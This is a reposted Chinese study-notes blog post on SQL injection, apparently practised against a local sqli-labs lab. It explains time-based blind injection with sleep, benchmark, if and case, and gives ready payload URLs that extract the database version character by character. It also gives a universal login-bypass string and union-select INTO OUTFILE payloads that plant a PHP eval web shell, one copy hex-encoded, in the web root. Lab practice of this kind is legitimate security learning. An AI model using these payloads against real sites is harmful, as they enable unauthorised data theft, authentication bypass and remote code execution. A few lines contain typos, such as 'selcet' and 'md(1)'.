ICode9

精准搜索请尝试: 精确搜索
首页 > 数据库> 文章详细

sql注入 第三十二天 周四

2019-10-02 20:56:21  阅读:299  来源: 互联网

标签:周四 http 192.168 version sleep sql 100.197 第三十二 select


延时盲注函数

sleep()

mysql的select sleep(5);

输出为零,如下图

benchmark

    根据返回参数来计算电脑性能,或者注入点

延时函数大部分都是零,在测试注入点中的延时函数就当前函数和sleep,

两个函数。

selcet语句中的判断函数case

select if(1=1,version(),user()) 对的话输出version(),不对的话输出user()

常用于循环的switch环境,在select中也有替代,

case sva when 1 then 2  when2 then  234 end

case的变形应用,

case后的语句得出的数值,比较的出来的值是1或0


    手工自测,得出的数值,不是when后的数值,就将以NULL输出

select与sleep的结合

select length(version())>13; select if(1=1,1,0)
时间盲注: 
select if(length(version())>14,sleep(3),0)

' and 1 和 ' and 0 页面没有变化,需要用时间盲注

select 1 and sleep(3);

mysql中在and下,如果左边为真,右边就输出

select 0 and sleep(3);

mysql中在and下,如果左边为假,右边就不输出

或者
select 1 or sleep(3);

mysql中在or下,如果左边为真,右边就不输出啦。

select 0 or sleep(3);

mysql中在or下,如果左边为假,右边就不输出啦。

测试网站是否存在延时注入点

另外用 or时存在遍历问题,时间累加

时间盲注,谨慎用or(在不知道用户名的情况下,可以用or试一试)

and 左边为真,右边就会执行一次

or 左边为假,右边就会执行多次(根据数据判断)

select中的判断语句实例



时间(get)盲注实例操作

通过一下判断version长度:6
http://192.168.100.197/Less-9/?id=1' and case length(version())>5 when 1 then sleep(3) else 345 end#
或者
http://192.168.100.197/Less-9/?id=1' and case length(version())>5 when 1 then benchmark(10000000,md(1)) else 345 end#

http://192.168.100.197/Less-9/?id=1' and if(length(version())>10,sleep(3),0) %23

version的第一个字符 53
http://192.168.100.197/Less-9/?id=1' and case ascii(mid(version(),1,1))>52 when 1 then sleep(3) else 345 end#
或者
http://192.168.100.197/Less-9/?id=1' and if(ascii(mid(version(),1,1))>52,sleep(3),0) %23

version的第二个字符 46
http://192.168.100.197/Less-9/?id=1' and if(ascii(mid(version(),2,1))>45,sleep(3),0) %23

时间盲注(post)的应用

时间延时盲注之post的应用需要用到burp修改数据包来看数据反应时间

也可用hackbar提交数据

报错型注入的post的应用




多语句输入

判断语句是否有注入

1" and 1 正常显示
1" and 0 不正常显示
1") --+

加双括号
1')) and sleep(3)

万能密码
admin' or 1 --+

%' 注入,比较特殊,大概用于模糊搜索框的应用

通过联合查询,给网站写shell文件:
http://192.168.100.197/Less-2/?id=-1+union select 1,(select '3c3f706870406576616c28245f504f53545b315d293b3f3e' into outfile 'http://192.168.100.197/#fm_imagemap/wss.php' ),3 into outfile --+

http://192.168.100.197/Less-2/?id=-1+union select 1,(select '<?php @eval($_POST[1]);?>' into outfile '/var/www/html/wss.php' ),3 --+


select  * from security.users where id='1' union select '<>',2,3 into outfile '/var/www/html/1.php'

转载请注明来源,欢迎对文章中的引用来源进行考证,欢迎指出任何有错误或不够清晰的表达。可以在下面评论区评论,也可以邮件至 zhumeng512@qq.com

原文:大专栏  sql注入 第三十二天 周四


标签:周四,http,192.168,version,sleep,sql,100.197,第三十二,select
来源: https://www.cnblogs.com/wangziqiang123/p/11618385.html

本站声明: 1. iCode9 技术分享网(下文简称本站)提供的所有内容,仅供技术学习、探讨和分享;
2. 关于本站的所有留言、评论、转载及引用,纯属内容发起人的个人观点,与本站观点和立场无关;
3. 关于本站的所有言论和文字,纯属内容发起人的个人观点,与本站观点和立场无关;
4. 本站文章均是网友提供,不完全保证技术分享内容的完整性、准确性、时效性、风险性和版权归属;如您发现该文章侵犯了您的权益,可联系我们第一时间进行删除;
5. 本站为非盈利性的个人网站,所有内容不会用来进行牟利,也不会利用任何形式的广告来间接获益,纯粹是为了广大技术爱好者提供技术内容和技术思想的分享性交流网站。

专注分享技术,共同学习,共同进步。侵权联系[81616952@qq.com]

Copyright (C)ICode9.com, All Rights Reserved.

ICode9版权所有